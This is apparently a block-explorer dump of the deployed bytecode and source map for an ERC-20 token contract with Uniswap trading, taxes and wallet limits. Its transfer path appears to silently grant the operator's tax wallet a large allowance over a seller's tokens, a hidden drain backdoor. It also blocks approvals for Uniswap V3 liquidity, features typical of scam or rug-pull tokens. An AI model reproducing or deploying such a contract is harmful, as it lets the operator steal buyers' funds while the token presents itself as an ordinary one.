58a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ae919061183a565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f73c36442b4a4522e871399cd717abdd847ab11fe886001600160a01b038416036106565760405162461bcd60e51b815260206004820152603060248201527f417070726f76616c20666f7220556e6973776170205633206c6971756964697460448201526f1e481a5cc81b9bdd08185b1b1bddd95960821b60648201526084016103f1565b610661338484610af2565b5060015b92915050565b5f6106786009600a611815565b610687906461f313f880611823565b905090565b5f610698848484610c15565b6106e4843361044485604051806060016040528060288152602001611982602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111fa565b5060019392505050565b5f546001600160a01b031633146107175760405162461bcd60e51b81526004016103f1906116ec565b6107236009600a611815565b610732906461f313f880611823565b600c556107416009600a611815565b610750906461f313f880611823565b600d55600480546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107b66009600a611815565b6107c5906461f313f880611823565b60405190815260200160405180910390a150565b5f546001600160a01b031633146108025760405162461bcd60e51b81526004016103f1906116ec565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146108735760405162461bcd60e51b81526004016103f1906116ec565b601354600160a01b900460ff16156108cd5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f1565b6013546001600160a01b031663f305d71947306108fe816001600160a01b03165f9081526001602052604090205490565b5f806109115f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610977573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061099c9190611855565b505060125460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109f1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a159190611880565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610a585760405162461bcd60e51b81526004016103f1906116ec565b60405133904780156108fc02915f818181858888f19350505050158015610a81573d5f803e3d5ffd5b50565b5f610661338484610c15565b5f546001600160a01b03163314610ab95760405162461bcd60e51b81526004016103f1906116ec565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b6001600160a01b038316610b545760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f1565b6001600160a01b038216610bb55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f1565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c795760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f1565b6001600160a01b038216610cdb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f1565b5f8111610d3c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f1565b6013545f90600160b01b900460ff161580610d605750601354600160a81b900460ff165b15610e18576001600160a01b0384165f90815260016020526040902054610d8890839061189f565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610db79083906118b2565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e0a9086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610e4257505f546001600160a01b03848116911614155b156110a3576011545f03610e6a5760095460115411610e6357600554610e67565b6007545b90505b60115415610e7757506010545b6012546001600160a01b038581169116148015610ea257506013546001600160a01b03848116911614155b8015610ec657506001600160a01b0383165f9081526003602052604090205460ff16155b15610fc557600c54821115610f1d5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d6178416d6f756e7449492e0000000000000060448201526064016103f1565b600d5482610f3f856001600160a01b03165f9081526001602052604090205490565b610f4991906118b2565b1115610f975760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f1565b60095460115411610faa57600554610fae565b6007545b601180549192505f610fbf836118c5565b91905055505b6012546001600160a01b038481169116148015610feb57506001600160a01b0384163014155b1561101257600a546011541161100357600654611007565b6008545b905061101283611232565b305f90815260016020526040902054601354600160a81b900460ff1615801561104857506012546001600160a01b038581169116145b801561105d5750601354600160b01b900460ff165b156110a157600e54811180156110765750600b54601154115b15611098576110986110938461108e84600f5461129d565b61129d565b6112b4565b6110a147611424565b505b5f8115611134576110bf60646110b9858561145f565b906114dd565b305f908152600160205260409020549091506110db908261151e565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061112b9085815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054611156908461157c565b6001600160a01b0386165f9081526001602052604090205561119961117b848361157c565b6001600160a01b0386165f908152600160205260409020549061151e565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111e2868561157c565b60405190815260200160405180910390a35050505050565b5f818484111561121d5760405162461bcd60e51b81526004016103f191906115e9565b505f611229848661189f565b95945050505050565b604080518082019091526001600160a01b038083168252600454166020820152600d546112609060326118b2565b61126c906103e8611823565b81516001600160a01b039081165f908152600260209081526040808320958201519093168252939093529091205550565b5f8183116112ab57826112ad565b815b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112fa576112fa6118dd565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611351573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611375919061183a565b81600181518110611388576113886118dd565b6001600160a01b0392831660209182029290920101526013546113ae9130911684610af2565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113e69085905f908690309042906004016118f1565b5f604051808303815f87803b1580156113fd575f80fd5b505af115801561140f573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561145b573d5f803e3d5ffd5b5050565b5f825f0361146e57505f610665565b5f6114798385611823565b9050826114868583611962565b146112ad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f1565b5f6112ad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115bd565b5f8061152a83856118b2565b9050838110156112ad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f1565b5f6112ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111fa565b5f81836115dd5760405162461bcd60e51b81526004016103f191906115e9565b505f6112298486611962565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610a81575f80fd5b5f8060408385031215611643575f80fd5b823561164e8161161e565b946020939093013593505050565b5f805f6060848603121561166e575f80fd5b83356116798161161e565b925060208401356116898161161e565b929592945050506040919091013590565b5f602082840312156116aa575f80fd5b81356112ad8161161e565b5f80604083850312156116c6575f80fd5b82356116d18161161e565b915060208301356116e18161161e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561176f57815f190482111561175557611755611721565b8085161561176257918102915b93841c939080029061173a565b509250929050565b5f8261178557506001610665565b8161179157505f610665565b81600181146117a757600281146117b1576117cd565b6001915050610665565b60ff8411156117c2576117c2611721565b50506001821b610665565b5060208310610133831016604e8410600b84101617156117f0575081810a610665565b6117fa8383611735565b805f190482111561180d5761180d611721565b029392505050565b5f6112ad60ff841683611777565b808202811582820484141761066557610665611721565b5f6020828403121561184a575f80fd5b81516112ad8161161e565b5f805f60608486031215611867575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611890575f80fd5b815180151581146112ad575f80fd5b8181038181111561066557610665611721565b8082018082111561066557610665611721565b5f600182016118d6576118d6611721565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119415784516001600160a01b03168352938301939183019160010161191c565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261197c57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d7e02085e7852c27cd276b32acfaea898f5961b74ae2ae6625f8cb85a3055d6b64736f6c63430008190033
Deployed Bytecode Sourcemap
3706:8404:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5869:83;;;;;;;;;;-1:-1:-1;5939:5:0;;;;;;;;;;;;-1:-1:-1;;;5939:5:0;;;;5869:83;;;;;;;:::i;:::-;;;;;;;;5493:370;;;;;;;;;;;;;:::i;:::-;;6694:307;;;;;;;;;;-1:-1:-1;6694:307:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6694:307:0;893:187:1;6140:97:0;;;;;;;;;;;;;:::i;:::-;;;1231:25:1;;;1219:2;1204:18;6140:97:0;1085:177:1;7007:315:0;;;;;;;;;;-1:-1:-1;7007:315:0;;;;;:::i;:::-;;:::i;6051:83::-;;;;;;;;;;-1:-1:-1;6051:83:0;;4351:1;1870:36:1;;1858:2;1843:18;6051:83:0;1728:184:1;4546:49:0;;;;;;;;;;;;;;;;4602;;;;;;;;;;;;;;;;10848:256;;;;;;;;;;-1:-1:-1;10848:256:0;;;;;:::i;:::-;;:::i;4658:48::-;;;;;;;;;;;;;;;;6243:121;;;;;;;;;;-1:-1:-1;6243:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;6336:20:0;6309:7;6336:20;;;:11;:20;;;;;;;6243:121;3551:148;;;;;;;;;;;;;:::i;11633:474::-;;;;;;;;;;;;;:::i;3337:79::-;;;;;;;;;;-1:-1:-1;3375:7:0;3402:6;3337:79;;-1:-1:-1;;;;;3402:6:0;;;2575:51:1;;2563:2;2548:18;3337:79:0;2429:203:1;5958:87:0;;;;;;;;;;-1:-1:-1;6030:7:0;;;;;;;;;;;;-1:-1:-1;;;6030:7:0;;;;5958:87;;7929:111;;;;;;;;;;;;;:::i;6370:167::-;;;;;;;;;;-1:-1:-1;6370:167:0;;;;;:::i;:::-;;:::i;4713:47::-;;;;;;;;;;;;;;;;7671:146;;;;;;;;;;-1:-1:-1;7671:146:0;;;;;:::i;:::-;;:::i;6543:145::-;;;;;;;;;;-1:-1:-1;6543:145:0;;;;;:::i;:::-;-1:-1:-1;;;;;6651:20:0;;;6624:7;6651:20;;;:13;:20;;;;;;;;:29;;;;;;;;;;;;;6543:145;5493:370;3464:6;;-1:-1:-1;;;;;3464:6:0;2238:10;3464:22;3456:67;;;;-1:-1:-1;;;3456:67:0;;;;;;;:::i;:::-;;;;;;;;;5541:11:::1;:100:::0;;-1:-1:-1;;;;;;5541:100:0::1;5588:42;5541:100:::0;;::::1;::::0;;;5652:56:::1;::::0;5669:4:::1;::::0;4411:13:::1;4351:1;4411:2;:13;:::i;:::-;4396:28;::::0;:12:::1;:28;:::i;:::-;5652:8;:56::i;:::-;5749:11;;;;;;;;;-1:-1:-1::0;;;;;5749:11:0::1;-1:-1:-1::0;;;;;5749:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5731:51:0::1;;5805:4;5825:11;;;;;;;;;-1:-1:-1::0;;;;;5825:11:0::1;-1:-1:-1::0;;;;;5825:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5731:123;::::0;-1:-1:-1;;;;;;5731:123:0::1;::::0;;;;;;-1:-1:-1;;;;;5559:15:1;;;5731:123:0::1;::::0;::::1;5541:34:1::0;5611:15;;5591:18;;;5584:43;5476:18;;5731:123:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5719:9;:135:::0;;-1:-1:-1;;;;;;5719:135:0::1;-1:-1:-1::0;;;;;5719:135:0;;;::::1;::::0;;;::::1;::::0;;5493:370::o;6694:307::-;6769:4;11486:42;-1:-1:-1;;;;;11548:35:0;;;6839:82;;;;-1:-1:-1;;;6839:82:0;;5840:2:1;6839:82:0;;;5822:21:1;5879:2;5859:18;;;5852:30;5918:34;5898:18;;;5891:62;-1:-1:-1;;;5969:18:1;;;5962:46;6025:19;;6839:82:0;5638:412:1;6839:82:0;6932:39;2238:10;6955:7;6964:6;6932:8;:39::i;:::-;-1:-1:-1;6989:4:0;6694:307;;;;;:::o;6140:97::-;6193:7;4411:13;4351:1;4411:2;:13;:::i;:::-;4396:28;;:12;:28;:::i;:::-;6213:16;;6140:97;:::o;7007:315::-;7105:4;7122:36;7132:6;7140:9;7151:6;7122:9;:36::i;:::-;7169:123;7178:6;2238:10;7200:91;7240:6;7200:91;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7200:21:0;;;;;;:13;:21;;;;;;;;2238:10;7200:35;;;;;;;;;;:39;:91::i;7169:123::-;-1:-1:-1;7310:4:0;7007:315;;;;;:::o;10848:256::-;3464:6;;-1:-1:-1;;;;;3464:6:0;2238:10;3464:22;3456:67;;;;-1:-1:-1;;;3456:67:0;;;;;;;:::i;:::-;4411:13:::1;4351:1;4411:2;:13;:::i;:::-;4396:28;::::0;:12:::1;:28;:::i;:::-;10923:12;:24:::0;4411:13:::1;4351:1;4411:2;:13;:::i;:::-;4396:28;::::0;:12:::1;:28;:::i;:::-;10958:12;:22:::0;10991:10:::1;:18:::0;;-1:-1:-1;;;;;;10991:18:0::1;-1:-1:-1::0;;;;;10991:18:0;::::1;::::0;;::::1;::::0;;;-1:-1:-1;11020:24:0;;;:17:::1;:24;::::0;;;;:31;;-1:-1:-1;;11020:31:0::1;-1:-1:-1::0;11020:31:0::1;::::0;;11067:29:::1;4411:13;-1:-1:-1::0;4411:2:0::1;:13;:::i;:::-;4396:28;::::0;:12:::1;:28;:::i;:::-;11067:29;::::0;1231:25:1;;;1219:2;1204:18;11067:29:0::1;;;;;;;10848:256:::0;:::o;3551:148::-;3464:6;;-1:-1:-1;;;;;3464:6:0;2238:10;3464:22;3456:67;;;;-1:-1:-1;;;3456:67:0;;;;;;;:::i;:::-;3658:1:::1;3642:6:::0;;3621:40:::1;::::0;-1:-1:-1;;;;;3642:6:0;;::::1;::::0;3621:40:::1;::::0;3658:1;;3621:40:::1;3689:1;3672:19:::0;;-1:-1:-1;;;;;;3672:19:0::1;::::0;;3551:148::o;11633:474::-;3464:6;;-1:-1:-1;;;;;3464:6:0;2238:10;3464:22;3456:67;;;;-1:-1:-1;;;3456:67:0;;;;;;;:::i;:::-;11697:11:::1;::::0;-1:-1:-1;;;11697:11:0;::::1;;;11696:12;11688:48;;;::::0;-1:-1:-1;;;11688:48:0;;6257:2:1;11688:48:0::1;::::0;::::1;6239:21:1::0;6296:2;6276:18;;;6269:30;6335:25;6315:18;;;6308:53;6378:18;;11688:48:0::1;6055:347:1::0;11688:48:0::1;11747:11;::::0;-1:-1:-1;;;;;11747:11:0::1;:27;11782:21;11827:4;11847:24;11827:4:::0;-1:-1:-1;;;;;6336:20:0;6309:7;6336:20;;;:11;:20;;;;;;;6243:121;11847:24:::1;11886:1;11902::::0;11918:7:::1;3375::::0;3402:6;-1:-1:-1;;;;;3402:6:0;;3337:79;11918:7:::1;11747:219;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11747:219:0;;;-1:-1:-1;;;;;6766:15:1;;;11747:219:0::1;::::0;::::1;6748:34:1::0;6798:18;;;6791:34;;;;6841:18;;;6834:34;;;;6884:18;;;6877:34;6948:15;;;6927:19;;;6920:44;11940:15:0::1;6980:19:1::0;;;6973:35;6682:19;;11747:219:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11984:9:0::1;::::0;12011:11:::1;::::0;11977:63:::1;::::0;-1:-1:-1;;;11977:63:0;;-1:-1:-1;;;;;12011:11:0;;::::1;11977:63;::::0;::::1;7504:51:1::0;-1:-1:-1;;7571:18:1;;;7564:34;11984:9:0;::::1;::::0;-1:-1:-1;11977:25:0::1;::::0;7477:18:1;;11977:63:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12051:11:0::1;:18:::0;;-1:-1:-1;;;;12081:18:0;-1:-1:-1;;;12081:18:0;;;11633:474::o;7929:111::-;3464:6;;-1:-1:-1;;;;;3464:6:0;2238:10;3464:22;3456:67;;;;-1:-1:-1;;;3456:67:0;;;;;;;:::i;:::-;7981:51:::1;::::0;7989:10:::1;::::0;8010:21:::1;7981:51:::0;::::1;;;::::0;::::1;::::0;;;8010:21;7989:10;7981:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;7929:111::o:0;6370:167::-;6448:4;6465:42;2238:10;6489:9;6500:6;6465:9;:42::i;7671:146::-;3464:6;;-1:-1:-1;;;;;3464:6:0;2238:10;3464:22;3456:67;;;;-1:-1:-1;;;3456:67:0;;;;;;;:::i;:::-;7747:10:::1;:19:::0;;-1:-1:-1;;;;;7747:19:0;;::::1;-1:-1:-1::0;;;;;;7747:19:0;;::::1;::::0;::::1;::::0;;:10:::1;7777:25:::0;;;:17:::1;:25;::::0;;;;:32;;-1:-1:-1;;7777:32:0::1;7747:19:::0;7777:32:::1;::::0;;7671:146::o;7328:337::-;-1:-1:-1;;;;;7421:19:0;;7413:68;;;;-1:-1:-1;;;7413:68:0;;8093:2:1;7413:68:0;;;8075:21:1;8132:2;8112:18;;;8105:30;8171:34;8151:18;;;8144:62;-1:-1:-1;;;8222:18:1;;;8215:34;8266:19;;7413:68:0;7891:400:1;7413:68:0;-1:-1:-1;;;;;7500:21:0;;7492:68;;;;-1:-1:-1;;;7492:68:0;;8498:2:1;7492:68:0;;;8480:21:1;8537:2;8517:18;;;8510:30;8576:34;8556:18;;;8549:62;-1:-1:-1;;;8627:18:1;;;8620:32;8669:19;;7492:68:0;8296:398:1;7492:68:0;-1:-1:-1;;;;;7571:20:0;;;;;;;:13;:20;;;;;;;;:29;;;;;;;;;;;;;:38;;;7625:32;;1231:25:1;;;7625:32:0;;1204:18:1;7625:32:0;;;;;;;7328:337;;;:::o;8611:2231::-;-1:-1:-1;;;;;8701:18:0;;8693:68;;;;-1:-1:-1;;;8693:68:0;;8901:2:1;8693:68:0;;;8883:21:1;8940:2;8920:18;;;8913:30;8979:34;8959:18;;;8952:62;-1:-1:-1;;;9030:18:1;;;9023:35;9075:19;;8693:68:0;8699:401:1;8693:68:0;-1:-1:-1;;;;;8780:16:0;;8772:64;;;;-1:-1:-1;;;8772:64:0;;9307:2:1;8772:64:0;;;9289:21:1;9346:2;9326:18;;;9319:30;9385:34;9365:18;;;9358:62;-1:-1:-1;;;9436:18:1;;;9429:33;9479:19;;8772:64:0;9105:399:1;8772:64:0;8866:1;8855:8;:12;8847:66;;;;-1:-1:-1;;;8847:66:0;;9711:2:1;8847:66:0;;;9693:21:1;9750:2;9730:18;;;9723:30;9789:34;9769:18;;;9762:62;-1:-1:-1;;;9840:18:1;;;9833:39;9889:19;;8847:66:0;9509:405:1;8847:66:0;8956:11;;8924:13;;-1:-1:-1;;;8956:11:0;;;;8955:12;;:22;;-1:-1:-1;8971:6:0;;-1:-1:-1;;;8971:6:0;;;;8955:22;8951:231;;;-1:-1:-1;;;;;9014:17:0;;;;;;:11;:17;;;;;;:28;;9034:8;;9014:28;:::i;:::-;-1:-1:-1;;;;;8994:17:0;;;;;;;:11;:17;;;;;;:48;;;;9075:15;;;;;;;:26;;9093:8;;9075:26;:::i;:::-;-1:-1:-1;;;;;9057:15:0;;;;;;;:11;:15;;;;;;;:44;;;;9121:28;;;;;;;;;;9140:8;1231:25:1;;1219:2;1204:18;;1085:177;9121:28:0;;;;;;;;9164:7;8611:2231;;;:::o;8951:231::-;3375:7;3402:6;-1:-1:-1;;;;;9196:15:0;;;3402:6;;9196:15;;;;:32;;-1:-1:-1;3375:7:0;3402:6;-1:-1:-1;;;;;9215:13:0;;;3402:6;;9215:13;;9196:32;9192:1217;;;9248:9;;9259:1;9248:12;9245:117;;9300:15;;9290:9;;:25;9289:55;;9330:14;;9289:55;;;9317:12;;9289:55;9280:65;;9245:117;9379:9;;:11;9376:70;;-1:-1:-1;9418:12:0;;9376:70;9472:9;;-1:-1:-1;;;;;9464:17:0;;;9472:9;;9464:17;:47;;;;-1:-1:-1;9499:11:0;;-1:-1:-1;;;;;9485:26:0;;;9499:11;;9485:26;;9464:47;:74;;;;-1:-1:-1;;;;;;9517:21:0;;;;;;:17;:21;;;;;;;;9515:23;9464:74;9460:390;;;9579:12;;9567:8;:24;;9559:62;;;;-1:-1:-1;;;9559:62:0;;10384:2:1;9559:62:0;;;10366:21:1;10423:2;10403:18;;;10396:30;10462:27;10442:18;;;10435:55;10507:18;;9559:62:0;10182:349:1;9559:62:0;9676:12;;9664:8;9648:13;9658:2;-1:-1:-1;;;;;6336:20:0;6309:7;6336:20;;;:11;:20;;;;;;;6243:121;9648:13;:24;;;;:::i;:::-;:40;;9640:79;;;;-1:-1:-1;;;9640:79:0;;10738:2:1;9640:79:0;;;10720:21:1;10777:2;10757:18;;;10750:30;10816:28;10796:18;;;10789:56;10862:18;;9640:79:0;10536:350:1;9640:79:0;9758:15;;9748:9;;:25;9747:55;;9788:14;;9747:55;;;9775:12;;9747:55;9823:9;:11;;9738:65;;-1:-1:-1;9823:9:0;:11;;;:::i;:::-;;;;;;9460:390;9873:9;;-1:-1:-1;;;;;9867:15:0;;;9873:9;;9867:15;:39;;;;-1:-1:-1;;;;;;9886:20:0;;9901:4;9886:20;;9867:39;9864:156;;;9947:16;;9937:9;;:26;9936:58;;9979:15;;9936:58;;;9965:13;;9936:58;9927:68;;9996:8;10001:2;9996:4;:8::i;:::-;10083:4;10034:28;6336:20;;;:11;:20;;;;;;10109:6;;-1:-1:-1;;;10109:6:0;;;;10108:7;:26;;;;-1:-1:-1;10125:9:0;;-1:-1:-1;;;;;10119:15:0;;;10125:9;;10119:15;10108:26;:41;;;;-1:-1:-1;10138:11:0;;-1:-1:-1;;;10138:11:0;;;;10108:41;10104:294;;;10196:11;;10173:20;:34;:68;;;;;10223:18;;10211:9;;:30;10173:68;10170:161;;;10264:67;10274:56;10280:8;10290:39;10296:20;10318:10;;10290:5;:39::i;:::-;10274:5;:56::i;:::-;10264:9;:67::i;:::-;10350:32;10360:21;10350:9;:32::i;:::-;9230:1179;9192:1217;10419:13;10448:9;;10445:208;;10479:28;10503:3;10479:19;:8;10492:5;10479:12;:19::i;:::-;:23;;:28::i;:::-;10569:4;10549:26;;;;:11;:26;;;;;;10473:34;;-1:-1:-1;10549:37:0;;10473:34;10549:30;:37::i;:::-;10542:4;10522:26;;;;:11;:26;;;;;;;:64;;;;10606:35;;-1:-1:-1;;;;;10606:35:0;;;;;;;10635:5;1231:25:1;;1219:2;1204:18;;1085:177;10606:35:0;;;;;;;;10445:208;-1:-1:-1;;;;;10681:17:0;;;;;;:11;:17;;;;;;:31;;10703:8;10681:21;:31::i;:::-;-1:-1:-1;;;;;10663:17:0;;;;;;:11;:17;;;;;:49;10739:40;10759:19;:8;10772:5;10759:12;:19::i;:::-;-1:-1:-1;;;;;10739:15:0;;;;;;:11;:15;;;;;;;:19;:40::i;:::-;-1:-1:-1;;;;;10723:15:0;;;;;;;:11;:15;;;;;:56;;;;10795:39;;;10814:19;:8;10827:5;10814:12;:19::i;:::-;10795:39;;1231:25:1;;;1219:2;1204:18;10795:39:0;;;;;;;8682:2160;;8611:2231;;;:::o;1337:190::-;1423:7;1459:12;1451:6;;;;1443:29;;;;-1:-1:-1;;;1443:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1483:9:0;1495:5;1499:1;1495;:5;:::i;:::-;1483:17;1337:190;-1:-1:-1;;;;;1337:190:0:o;11110:170::-;11159:45;;;;;;;;;-1:-1:-1;;;;;11159:45:0;;;;;11193:10;;;11159:45;;;;11259:12;;11256:15;;:2;:15;:::i;:::-;11250:22;;:4;:22;:::i;:::-;11229:8;;-1:-1:-1;;;;;11215:23:0;;;;;;;:13;11229:8;11215:23;;;;;;;11239:8;;;;11215:33;;;;;;;;;;;;:57;-1:-1:-1;11110:170:0:o;7823:100::-;7882:7;7909:1;7907;:3;7906:9;;7914:1;7906:9;;;7912:1;7906:9;7899:16;7823:100;-1:-1:-1;;;7823:100:0:o;8141:464::-;5105:6;:13;;-1:-1:-1;;;;5105:13:0;-1:-1:-1;;;5105:13:0;;;8236:16:::1;::::0;;8250:1:::1;8236:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8236:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8236:16:0::1;8212:40;;8281:4;8263;8268:1;8263:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8263:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8307:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;8307:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;8263:7;;8307:18;;;;;:11;:18:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8297:4;8302:1;8297:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8297:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;8368:11:::1;::::0;8336:58:::1;::::0;8353:4:::1;::::0;8368:11:::1;8382::::0;8336:8:::1;:58::i;:::-;8405:11;::::0;:192:::1;::::0;-1:-1:-1;;;8405:192:0;;-1:-1:-1;;;;;8405:11:0;;::::1;::::0;:62:::1;::::0;:192:::1;::::0;8482:11;;8405::::1;::::0;8524:4;;8551::::1;::::0;8571:15:::1;::::0;8405:192:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5141:6:0;:14;;-1:-1:-1;;;;5141:14:0;;;-1:-1:-1;;;;8141:464:0:o;8046:89::-;8100:10;;:27;;-1:-1:-1;;;;;8100:10:0;;;;:27;;;;;8120:6;;8100:10;:27;:10;:27;8120:6;8100:10;:27;;;;;;;;;;;;;;;;;;;;;8046:89;:::o;1535:246::-;1593:7;1617:1;1622;1617:6;1613:47;;-1:-1:-1;1647:1:0;1640:8;;1613:47;1670:9;1682:5;1686:1;1682;:5;:::i;:::-;1670:17;-1:-1:-1;1715:1:0;1706:5;1710:1;1670:17;1706:5;:::i;:::-;:10;1698:56;;;;-1:-1:-1;;;1698:56:0;;12704:2:1;1698:56:0;;;12686:21:1;12743:2;12723:18;;;12716:30;12782:34;12762:18;;;12755:62;-1:-1:-1;;;12833:18:1;;;12826:31;12874:19;;1698:56:0;12502:397:1;1789:132:0;1847:7;1874:39;1878:1;1881;1874:39;;;;;;;;;;;;;;;;;:3;:39::i;1006:179::-;1064:7;;1096:5;1100:1;1096;:5;:::i;:::-;1084:17;;1125:1;1120;:6;;1112:46;;;;-1:-1:-1;;;1112:46:0;;13106:2:1;1112:46:0;;;13088:21:1;13145:2;13125:18;;;13118:30;13184:29;13164:18;;;13157:57;13231:18;;1112:46:0;12904:351:1;1193:136:0;1251:7;1278:43;1282:1;1285;1278:43;;;;;;;;;;;;;;;;;:3;:43::i;1929:189::-;2015:7;2050:12;2043:5;2035:28;;;;-1:-1:-1;;;2035:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2074:9:0;2086:5;2090:1;2086;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:315;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;